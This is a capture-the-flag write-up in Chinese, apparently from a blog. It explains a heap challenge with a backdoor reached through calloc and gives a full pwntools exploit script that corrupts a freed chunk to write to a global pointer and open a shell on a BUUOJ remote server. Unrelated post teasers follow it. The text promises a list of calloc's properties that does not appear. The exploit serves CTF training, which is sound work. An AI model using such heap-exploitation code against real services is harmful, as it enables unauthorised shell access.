檢視程式保護
只開了canary和nx保護,在ida檢視反編譯出來的為**時發現程式給了乙個後門
很明顯,我們只要往ptr中寫入一些資料使其不為空就能getshell。這題的巧妙之處在於在呼叫system前呼叫了calloc函式。
calloc有一下幾個特性:
利用這兩個特性我們就可以向ptr中寫入資料,最終的exp如下:
from pwn import *context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
#p = process('./pwn')
p = remote('node3.buuoj.cn', 27231)
def add(index):
p.sendlineafter('your choice?', '1')
p.sendlineafter('idx?\n', str(index))
def edit(index, content):
p.sendlineafter('your choice?', '2')
p.sendlineafter('idx?\n', str(index))
p.send(content)
def delete(index):
p.sendlineafter('your choice?', '3')
p.sendlineafter('idx?\n', str(index))
add(0)
add(1)
add(2)
add(3)
add(4)
add(5)
add(6)
add(7)
delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
delete(7)
add(8)
payload = p64(0x4040c0-0x10).ljust(0x50, '\x00')
#gdb.attach(p)
edit(7, payload)
p.sendlineafter('your choice?', '6')
p.interactive()
i春秋python python爬取i春秋帖子名稱
import requests from bs4 import beautifulsoup import re url headers r requests.get url url,headers headers print r.status code soup beautifulsoup r.co...
i春秋 第二屆春秋歡樂賽 ReCreators
依舊不會做,在開頭被卡住了,最後看了師傅們的題解跟著復現了下,考點比較基礎,但不得不說這題實在坑,套了好幾層編碼。題目給了個27m的無副檔名檔案,推測是程式,然鵝並不是,用010開啟可以看到一些明文,猜測是磁碟檔案之類的,用file檢視了後發現是磁碟映象檔案.然後有三種辦法 使用r studio開啟...
i春秋 web 爆破 1
題目內容 flag就在某六位變數中。題目include flag.php a request hello if preg match w a eval var dump a var dump 列印變數的相關資訊 show source file file 當前執行檔案的完整路徑和檔名。這個 的作用是...